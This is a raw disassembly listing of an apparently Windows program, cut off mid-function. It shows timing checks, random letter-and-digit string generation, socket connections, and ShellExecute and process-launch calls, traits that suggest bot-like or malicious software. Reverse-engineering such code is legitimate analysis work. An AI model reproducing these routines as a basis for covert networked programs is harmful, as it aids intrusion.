loc_41B7A6: ; CODE XREF: ___:0041B7D9j
push 3
push 1
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
dec eax
jz short loc_41B7C7
dec eax
jz short loc_41B7C1
dec eax
jnz short loc_41B7D6
push 7Ah
push 61h
jmp short loc_41B7CB
; ---------------------------------------------------------------------------
loc_41B7C1: ; CODE XREF: ___:0041B7B6j
push 5Ah
push 41h
jmp short loc_41B7CB
; ---------------------------------------------------------------------------
loc_41B7C7: ; CODE XREF: ___:0041B7B3j
push 39h
push 30h
loc_41B7CB: ; CODE XREF: ___:0041B7BFj
; ___:0041B7C5j
call sub_4021A3
; ---------------------------------------------------------------------------
add esp, 8
mov [esi+ebx], al
loc_41B7D6: ; CODE XREF: ___:0041B7B9j
inc esi
cmp esi, ebp
jl short loc_41B7A6
loc_41B7DB: ; CODE XREF: ___:0041B7A4j
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B800 proc near ; CODE XREF: sub_40141Aj
rdtsc
retn
sub_41B800 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B820 proc near ; CODE XREF: sub_4017F3j
var_4 = dword ptr -4
sub esp, 8
push ebx
mov ebx, dword_50F8D0
push ebp
push esi
push edi
xor ebp, ebp
loc_41B82F: ; CODE XREF: sub_41B820+43j
; sub_41B820+4Dj
call sub_40141A
push 3E8h
mov esi, eax
mov edi, edx
call ebx
call sub_40141A
sub eax, esi
push ebp
sbb edx, edi
push 186A0h
push edx
push eax
call sub_436970
push ebp
push 0Ah
push edx
push eax
call sub_436970
cmp edx, ebp
mov esi, eax
ja short loc_41B82F
jb short loc_41B86F
cmp esi, 0F4240h
ja short loc_41B82F
loc_41B86F: ; CODE XREF: sub_41B820+45j
push ebp
push 64h
push edx
push esi
call sub_4368F0
mov ecx, eax
cmp edx, ebp
mov eax, 64h
mov [esp+18h+var_4], ebp
ja short loc_41B8F9
jb short loc_41B88F
cmp ecx, 50h
jnb short loc_41B898
loc_41B88F: ; CODE XREF: sub_41B820+68j
mov eax, 4Bh
mov [esp+18h+var_4], ebp
loc_41B898: ; CODE XREF: sub_41B820+6Dj
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8A3
cmp ecx, 47h
jnb short loc_41B8AC
loc_41B8A3: ; CODE XREF: sub_41B820+7Cj
mov eax, 42h
mov [esp+18h+var_4], ebp
loc_41B8AC: ; CODE XREF: sub_41B820+81j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8B7
cmp ecx, 37h
jnb short loc_41B8C0
loc_41B8B7: ; CODE XREF: sub_41B820+90j
mov eax, 32h
mov [esp+18h+var_4], ebp
loc_41B8C0: ; CODE XREF: sub_41B820+95j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8CB
cmp ecx, 26h
jnb short loc_41B8D4
loc_41B8CB: ; CODE XREF: sub_41B820+A4j
mov eax, 21h
mov [esp+18h+var_4], ebp
loc_41B8D4: ; CODE XREF: sub_41B820+A9j
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8DF
cmp ecx, 1Eh
jnb short loc_41B8E8
loc_41B8DF: ; CODE XREF: sub_41B820+B8j
mov eax, 19h
mov [esp+18h+var_4], ebp
loc_41B8E8: ; CODE XREF: sub_41B820+BDj
cmp edx, ebp
ja short loc_41B8F9
jb short loc_41B8F3
cmp ecx, 0Ah
jnb short loc_41B8F9
loc_41B8F3: ; CODE XREF: sub_41B820+CCj
xor eax, eax
mov [esp+18h+var_4], ebp
loc_41B8F9: ; CODE XREF: sub_41B820+66j
; sub_41B820+7Aj ...
sub eax, ecx
pop edi
add eax, esi
pop esi
pop ebp
pop ebx
add esp, 8
retn
sub_41B820 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41B950 proc near ; CODE XREF: sub_402022j
var_40 = dword ptr -40h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_41B950
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 34h
mov al, byte_447759
push ebx
push esi
push edi
test al, al
mov [esp+4Ch+var_40], 0
jz loc_41BAAF
push ebp
lea ecx, [esp+50h+var_3C]
call sub_401424
push 400h
lea ecx, [esp+54h+var_3C]
mov [esp+54h+var_4], 1
xor bl, bl
call sub_401C5D
mov ebp, eax
call sub_401EEC
lea ecx, [esp+50h+var_3C]
call sub_4013D9
mov [esp+50h+arg_4], eax
lea eax, [esp+50h+arg_4]
push eax
push ebp
call near ptr 27F11D9h
nop
test eax, eax
jnz short loc_41B9E6
mov edi, offset byte_446F60
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
loc_41B9E6: ; CODE XREF: sub_41B950+74j
movsx ecx, byte ptr [ebp+0]
mov eax, 41h
loc_41B9EF: ; CODE XREF: sub_41B950+A9j
cmp ecx, eax
jnz short loc_41B9F5
mov bl, 1
loc_41B9F5: ; CODE XREF: sub_41B950+A1j
inc eax
cmp eax, 5Bh
jl short loc_41B9EF
mov eax, 61h
loc_41BA00: ; CODE XREF: sub_41B950+BAj
cmp ecx, eax
jnz short loc_41BA06
mov bl, 1
loc_41BA06: ; CODE XREF: sub_41B950+B2j
inc eax
cmp eax, 7Bh
jl short loc_41BA00
test bl, bl
jnz short loc_41BA32
mov edi, offset byte_446F60
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_41BA32: ; CODE XREF: sub_41B950+BEj
mov esi, dword_50FABC
call esi
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
call esi
cdq
mov ecx, 0Ah
idiv ecx
lea ecx, [esp+50h+var_3C]
push edx
call sub_401140
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_3C]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+50h+var_40], 1
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
pop ebp
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, [esp+40h+var_C]
mov large fs:0, ecx
add esp, 40h
retn
; ---------------------------------------------------------------------------
loc_41BAAF: ; CODE XREF: sub_41B950+2Aj
lea ecx, [esp+4Ch+var_24]
call sub_401424
mov ebx, 2
mov [esp+4Ch+var_4], ebx
nop
call near ptr 27D091Eh
push eax
nop
call near ptr 77C371BCh
mov edi, dword_50FABC
add esp, 4
call edi
cdq
mov ecx, 3
idiv ecx
lea ecx, [esp+4Ch+var_24]
mov esi, edx
mov edx, [esp+4Ch+arg_4]
push edx
add esi, 6
call sub_4015D7
test esi, esi
jle short loc_41BB4E
loc_41BAF8: ; CODE XREF: sub_41B950+1FCj
lea ecx, [esp+4Ch+var_3C]
call sub_401424
lea eax, [esp+4Ch+var_24]
lea ecx, [esp+4Ch+var_3C]
push eax
mov byte ptr [esp+50h+var_4], 3
call sub_401FBE
call edi
cdq
mov ecx, 1Ah
idiv ecx
lea ecx, [esp+4Ch+var_3C]
add edx, 61h
push edx
call sub_4017E4
push eax
lea edx, [esp+54h+var_24]
push offset dword_443E74
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], bl
call sub_401226
dec esi
jnz short loc_41BAF8
loc_41BB4E: ; CODE XREF: sub_41B950+1A6j
mov esi, [esp+4Ch+arg_0]
lea eax, [esp+4Ch+var_24]
push eax
mov ecx, esi
call sub_4014C9
lea ecx, [esp+4Ch+var_24]
mov [esp+4Ch+var_40], 1
mov byte ptr [esp+4Ch+var_4], 0
call sub_401226
mov ecx, [esp+4Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 40h
retn
sub_41B950 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BC20: ; CODE XREF: ___:00401569j
mov al, [esp+4]
cmp al, 20h
jz short loc_41BC2F
cmp al, 9
jz short loc_41BC2F
xor al, al
retn
; ---------------------------------------------------------------------------
loc_41BC2F: ; CODE XREF: ___:0041BC26j
; ___:0041BC2Aj
mov al, 1
retn
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41BC50: ; CODE XREF: ___:00401ED8j
mov eax, [esp+4]
push offset dword_443E7C
push eax
nop
call near ptr 77C3F010h
add esp, 8
test eax, eax
jz short loc_41BC74
push eax
call near ptr 77C40AB1h
nop
add esp, 4
mov al, 1
retn
; ---------------------------------------------------------------------------
loc_41BC74: ; CODE XREF: ___:0041BC65j
xor al, al
retn
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BC90 proc near ; CODE XREF: sub_401479j
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_20 = byte ptr -20h
arg_0 = dword ptr 4
sub esp, 30h
push ebx
push ebp
push esi
push edi
mov edi, [esp+40h+arg_0]
test edi, edi
jz loc_41BEEE
mov esi, offset byte_446F60
mov eax, edi
loc_41BCAA: ; CODE XREF: sub_41BC90+3Cj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BCD2
test cl, cl
jz short loc_41BCCE
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BCD2
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BCAA
loc_41BCCE: ; CODE XREF: sub_41BC90+26j
xor eax, eax
jmp short loc_41BCD7
; ---------------------------------------------------------------------------
loc_41BCD2: ; CODE XREF: sub_41BC90+22j
; sub_41BC90+32j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BCD7: ; CODE XREF: sub_41BC90+40j
test eax, eax
jz loc_41BEEE
push 20h
lea eax, [esp+44h+var_20]
push edi
push eax
nop
call near ptr 77C47A90h
mov edi, dword_50FAF4
lea ecx, [esp+4Ch+var_20]
push offset dword_443DC4
push ecx
call edi
add esp, 14h
mov [esp+40h+var_30], eax
test eax, eax
jz loc_41BEEE
mov ebx, 1
lea esi, [esp+40h+var_2C]
loc_41BD17: ; CODE XREF: sub_41BC90+A4j
push offset dword_443DC4
push 0
call edi
add esp, 8
mov [esi], eax
test eax, eax
jz loc_41BEEE
inc ebx
add esi, 4
cmp ebx, 4
jl short loc_41BD17
mov ebp, [esp+40h+var_30]
mov esi, offset dword_443E98
mov eax, ebp
loc_41BD41: ; CODE XREF: sub_41BC90+D3j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BD69
test dl, dl
jz short loc_41BD65
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BD69
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BD41
loc_41BD65: ; CODE XREF: sub_41BC90+BDj
xor eax, eax
jmp short loc_41BD6E
; ---------------------------------------------------------------------------
loc_41BD69: ; CODE XREF: sub_41BC90+B9j
; sub_41BC90+C9j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BD6E: ; CODE XREF: sub_41BC90+D7j
test eax, eax
jnz short loc_41BD7C
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BD7C: ; CODE XREF: sub_41BC90+E0j
mov esi, offset dword_443E94
mov eax, ebp
loc_41BD83: ; CODE XREF: sub_41BC90+115j
mov cl, [eax]
mov bl, [esi]
mov dl, cl
cmp cl, bl
jnz short loc_41BDAB
test dl, dl
jz short loc_41BDA7
mov cl, [eax+1]
mov bl, [esi+1]
mov dl, cl
cmp cl, bl
jnz short loc_41BDAB
add eax, 2
add esi, 2
test dl, dl
jnz short loc_41BD83
loc_41BDA7: ; CODE XREF: sub_41BC90+FFj
xor eax, eax
jmp short loc_41BDB0
; ---------------------------------------------------------------------------
loc_41BDAB: ; CODE XREF: sub_41BC90+FBj
; sub_41BC90+10Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BDB0: ; CODE XREF: sub_41BC90+119j
mov edi, [esp+40h+var_2C]
test eax, eax
jnz short loc_41BDFA
mov esi, offset dword_443E90
mov edx, edi
loc_41BDBF: ; CODE XREF: sub_41BC90+151j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BDE7
test bl, bl
jz short loc_41BDE3
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BDE7
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BDBF
loc_41BDE3: ; CODE XREF: sub_41BC90+13Bj
xor edx, edx
jmp short loc_41BDEC
; ---------------------------------------------------------------------------
loc_41BDE7: ; CODE XREF: sub_41BC90+137j
; sub_41BC90+147j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BDEC: ; CODE XREF: sub_41BC90+155j
test edx, edx
jnz short loc_41BDFA
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BDFA: ; CODE XREF: sub_41BC90+126j
; sub_41BC90+15Ej
mov esi, offset dword_443E8C
mov edx, ebp
loc_41BE01: ; CODE XREF: sub_41BC90+193j
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BE29
test bl, bl
jz short loc_41BE25
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BE29
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BE01
loc_41BE25: ; CODE XREF: sub_41BC90+17Dj
xor edx, edx
jmp short loc_41BE2E
; ---------------------------------------------------------------------------
loc_41BE29: ; CODE XREF: sub_41BC90+179j
; sub_41BC90+189j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BE2E: ; CODE XREF: sub_41BC90+197j
test edx, edx
jnz short loc_41BE74
mov esi, offset dword_443E88
mov edx, edi
loc_41BE39: ; CODE XREF: sub_41BC90+1CBj
mov al, [edx]
mov cl, [esi]
mov bl, al
cmp al, cl
jnz short loc_41BE61
test bl, bl
jz short loc_41BE5D
mov cl, [edx+1]
mov al, [esi+1]
mov bl, cl
cmp cl, al
jnz short loc_41BE61
add edx, 2
add esi, 2
test bl, bl
jnz short loc_41BE39
loc_41BE5D: ; CODE XREF: sub_41BC90+1B5j
xor edx, edx
jmp short loc_41BE66
; ---------------------------------------------------------------------------
loc_41BE61: ; CODE XREF: sub_41BC90+1B1j
; sub_41BC90+1C1j
sbb edx, edx
sbb edx, 0FFFFFFFFh
loc_41BE66: ; CODE XREF: sub_41BC90+1CFj
test edx, edx
jnz short loc_41BE74
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BE74: ; CODE XREF: sub_41BC90+1A0j
; sub_41BC90+1D8j
mov esi, offset dword_443E84
mov ecx, ebp
loc_41BE7B: ; CODE XREF: sub_41BC90+20Dj
mov al, [ecx]
mov bl, [esi]
mov dl, al
cmp al, bl
jnz short loc_41BEA3
test dl, dl
jz short loc_41BE9F
mov al, [ecx+1]
mov bl, [esi+1]
mov dl, al
cmp al, bl
jnz short loc_41BEA3
add ecx, 2
add esi, 2
test dl, dl
jnz short loc_41BE7B
loc_41BE9F: ; CODE XREF: sub_41BC90+1F7j
xor ecx, ecx
jmp short loc_41BEA8
; ---------------------------------------------------------------------------
loc_41BEA3: ; CODE XREF: sub_41BC90+1F3j
; sub_41BC90+203j
sbb ecx, ecx
sbb ecx, 0FFFFFFFFh
loc_41BEA8: ; CODE XREF: sub_41BC90+211j
test ecx, ecx
jnz short loc_41BEEE
mov esi, offset dword_443E80
mov eax, edi
loc_41BEB3: ; CODE XREF: sub_41BC90+245j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_41BEDB
test cl, cl
jz short loc_41BED7
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_41BEDB
add eax, 2
add esi, 2
test cl, cl
jnz short loc_41BEB3
loc_41BED7: ; CODE XREF: sub_41BC90+22Fj
xor eax, eax
jmp short loc_41BEE0
; ---------------------------------------------------------------------------
loc_41BEDB: ; CODE XREF: sub_41BC90+22Bj
; sub_41BC90+23Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_41BEE0: ; CODE XREF: sub_41BC90+249j
test eax, eax
jnz short loc_41BEEE
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 30h
retn
; ---------------------------------------------------------------------------
loc_41BEEE: ; CODE XREF: sub_41BC90+Dj
; sub_41BC90+49j ...
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 30h
retn
sub_41BC90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41BFA0 proc near ; CODE XREF: sub_402004j
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
arg_4 = dword ptr 8
sub esp, 10h
push ebx
push esi
push 6
push 1
push 2
xor bl, bl
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41C008
cmp esi, 0FFFFFFFFh
jz short loc_41C008
mov eax, [esp+18h+arg_0]
push eax
nop
call near ptr 71AB2BF4h
mov ecx, [esp+18h+arg_4]
mov [esp+18h+var_C], eax
push ecx
nop
call near ptr 71AB2B66h
lea edx, [esp+18h+var_10]
push 10h
push edx
push esi
mov [esp+24h+var_E], ax
mov [esp+24h+var_10], 2
call near ptr 71AB406Ah
nop
test eax, eax
jnz short loc_41BFF9
mov bl, 1
loc_41BFF9: ; CODE XREF: sub_41BFA0+55j
push esi
nop
call near ptr 71AB9639h
mov al, bl
pop esi
pop ebx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_41C008: ; CODE XREF: sub_41BFA0+18j
; sub_41BFA0+1Dj
pop esi
xor al, al
pop ebx
add esp, 10h
retn
sub_41BFA0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C030 proc near ; CODE XREF: sub_401299j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [esp+arg_0]
push 0
push 0
push eax
push ecx
push offset aOpen ; "open"
push 0
call near ptr 7CA41110h
nop
cmp eax, 20h
setnl al
retn
sub_41C030 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C070 proc near ; CODE XREF: sub_402149j
var_54 = byte ptr -54h
var_44 = dword ptr -44h
var_14 = word ptr -14h
arg_0 = dword ptr 4
sub esp, 54h
push edi
mov ecx, 11h
xor eax, eax
lea edi, [esp+58h+var_44]
rep stosd
mov [esp+58h+var_14], ax
lea eax, [esp+58h+var_54]
mov edx, [esp+58h+arg_0]
lea ecx, [esp+58h+var_44]
push eax
push ecx
push 0
push 0
push 28h
push 0
push 0
push 0
push edx
push 0
mov [esp+80h+var_44], 44h
call near ptr 27E0533h
nop
test eax, eax
setnle al
pop edi
add esp, 54h
retn
sub_41C070 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C0E0: ; CODE XREF: ___:00401875j
sub esp, 354h
mov eax, off_443EA4
mov ecx, dword_443EA8
mov [esp+0], eax
mov al, byte_446F60
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_443EAC
rep stosd
mov ecx, off_443E9C
mov [esp+10h], edx
mov dx, word_443EA0
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
xor edi, edi
push eax
push 0FFFFFFFFh
push ecx
push edi
push edi
nop
call near ptr 2790000h
mov esi, dword_50FAAC
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi
mov esi, [esp+374h]
add esp, 10h
lea eax, [esp+12Ch]
push edi
push offset dword_50BB7C
push offset dword_50BB7C
push esi
mov [esi+4], edi
mov [esi+10h], edi
mov [esi+14h], eax
mov [esi+1Ch], edi
call sub_436FA8
; ---------------------------------------------------------------------------
cmp eax, 5
jz short loc_41C1C8
cmp eax, 4C3h
jnz short loc_41C1D1
loc_41C1C8: ; CODE XREF: ___:0041C1BFj
push edi
push edi
push edi
push esi
call sub_436FA8
; ---------------------------------------------------------------------------
loc_41C1D1: ; CODE XREF: ___:0041C1C6j
pop edi
cmp eax, 5
pop esi
jz short loc_41C1E8
cmp eax, 4C3h
jz short loc_41C1E8
mov al, 1
add esp, 354h
retn
; ---------------------------------------------------------------------------
loc_41C1E8: ; CODE XREF: ___:0041C1D6j
; ___:0041C1DDj
xor al, al
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_41C250: ; CODE XREF: ___:00401EC9j
sub esp, 354h
mov eax, off_443EA4
mov ecx, dword_443EA8
mov [esp+0], eax
mov al, byte_446F60
push esi
push edi
mov [esp+0Ch], ecx
mov [esp+14h], al
mov ecx, 45h
xor eax, eax
lea edi, [esp+15h]
mov edx, dword_443EAC
rep stosd
mov ecx, off_443E9C
mov [esp+10h], edx
mov dx, word_443EA0
mov [esp+12Ch], ecx
stosw
stosb
mov ecx, 8Ah
xor eax, eax
lea edi, [esp+132h]
mov [esp+130h], dx
rep stosd
mov ecx, [esp+360h]
push 0FFh
stosw
lea eax, [esp+18h]
push eax
push 0FFFFFFFFh
push ecx
push 0
push 0
nop
call near ptr 2790000h
mov esi, dword_50FAAC
lea edx, [esp+14h]
lea eax, [esp+12Ch]
push edx
push eax
call esi
lea ecx, [esp+10h]
lea edx, [esp+134h]
push ecx
push edx
call esi
add esp, 10h
lea eax, [esp+12Ch]
push 0
push 0
push eax
call sub_436FAE
; ---------------------------------------------------------------------------
test eax, eax
jz short loc_41C338
mov esi, dword_50F8D0
loc_41C31C: ; CODE XREF: ___:0041C336j
push 7D0h
call esi
push 0
lea ecx, [esp+130h]
push 0
push ecx
call sub_436FAE
; ---------------------------------------------------------------------------
test eax, eax
jnz short loc_41C31C
loc_41C338: ; CODE XREF: ___:0041C314j
pop edi
mov al, 1
pop esi
add esp, 354h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_41C390 proc near ; CODE XREF: sub_401D7Fj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_41C390
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push esi
push edi
push 0
push 0Ch
push 4
push 4Fh
push 10h
push 14h
lea eax, [esp+5Ch+var_3C]
push 6
mov esi, ecx
push eax
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov [esp+48h+var_4], 0
call sub_4017E4
lea ecx, [esi+0BCh]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
sub_41C390 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
lea edx, [esp+24h]
push 6
push edx
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 1
call sub_4017E4
push eax
lea eax, [esi+118h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 10h
push 15h
push 4Fh
push 10h
push 14h
lea ecx, [esp+20h]
push 6
push ecx
call sub_4019B5
add esp, 20h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 2
call sub_4017E4
lea edx, [esi+0EAh]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 7
push 4
push 0Ch
push 10h
push 0Ah
push 4Fh
push 10h
push 14h
push 14h
lea eax, [esp+30h]
push 8
push eax
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 3
call sub_4017E4
lea ecx, [esi+4]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 18h
push 5
push 4Fh
push 10h
push 14h
push 14h
lea edx, [esp+28h]
push 8
push edx
call sub_4019B5
add esp, 28h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 4
call sub_4017E4
push eax
lea eax, [esi+60h]
push eax
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+8]
mov [esp+40h], edi
call sub_401226
push 0
push 5
push 4
push 43h
push 10h
push 0Ah
push 4Fh
push 10h
push 14h
push 14h
lea ecx, [esp+48h]
push 8
push ecx
call sub_4019B5
add esp, 30h
push esi
mov ecx, eax
mov dword ptr [esp+44h], 5
call sub_4017E4
add esi, 32h
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+20h]
mov [esp+40h], edi
call sub_401226
mov ecx, [esp+38h]
pop edi
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_41C610 proc near ; CODE XREF: sub_401064j
var_111 = byte ptr -111h
var_110 = dword ptr -110h
var_10C = byte ptr -10Ch
var_F4 = byte ptr -0F4h
var_DC = byte ptr -0DCh
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_94 = byte ptr -94h
var_7C = byte ptr -7Ch
var_67 = byte ptr -67h
var_52 = byte ptr -52h
var_3D = byte ptr -3Dh
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_41C610
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 108h
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+124h+var_10C]
call sub_401424
lea ecx, [esp+124h+var_DC]
mov [esp+124h+var_4], 0
call sub_401424
lea ecx, [esp+124h+var_AC]
mov byte ptr [esp+124h+var_4], 1
call sub_401424
lea ecx, [esp+124h+var_94]
mov byte ptr [esp+124h+var_4], 2
call sub_401424
lea ecx, [esp+124h+var_C4]
mov byte ptr [esp+124h+var_4], 3
call sub_401424
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 4
call sub_401B36
mov esi, [esp+124h+arg_0]
mov bl, 5
lea ecx, [ebp+8Eh]
mov byte ptr [esp+124h+var_4], bl
lea edi, [esi+7Eh]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
lea ecx, [ebp+4]
call sub_4017E4
push eax
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_41C83C
push offset asc_443600 ; " "
lea eax, [esp+128h+var_F4]
push 1
push eax
mov ecx, esi
call sub_4016AE
lea ecx, [esp+124h+var_7C]
mov byte ptr [esp+124h+var_4], 6
push ecx
mov ecx, eax
call sub_401681
push eax
call sub_401938
add esp, 8
lea ecx, [esp+124h+var_F4]
test al, al
setz [esp+124h+var_111]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
mov al, [esp+124h+var_111]
test al, al
jnz loc_41D1A1
lea edx, [esp+124h+var_67]
lea ecx, [esp+124h+var_10C]
push edx
call sub_401FBE
push offset asc_443C84 ; ":"
lea ecx, [esp+128h+var_10C]
call sub_401A9B
mov eax, [esp+124h+var_28]
lea ecx, [esp+124h+var_10C]
push eax
call sub_401140
lea ecx, [esp+124h+var_24]
push ecx
lea ecx, [esp+128h+var_DC]
call sub_401FBE
push 1
push offset asc_443600 ; " "
lea edx, [esp+12Ch+var_F4]
push 2
push edx
mov ecx, esi
call sub_4011EA
push eax
lea ecx, [esp+128h+var_C4]
mov byte ptr [esp+128h+var_4], 7
call sub_401FBE
lea ecx, [esp+124h+var_F4]
mov byte ptr [esp+124h+var_4], bl
call sub_401226
push 94h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+124h+var_110], eax
test eax, eax
mov byte ptr [esp+124h+var_4], 8
jz short loc_41C7CC
mov ecx, eax
call sub_4021C6
mov edi, eax
jmp short loc_41C7CE
; ---------------------------------------------------------------------------
loc_41C7CC: ; CODE XREF: sub_41C610+1AFj
xor edi, edi
loc_41C7CE: ; CODE XREF: sub_41C610+1BAj
lea eax, [esp+124h+var_10C]
lea ecx, [edi+11h]
push eax
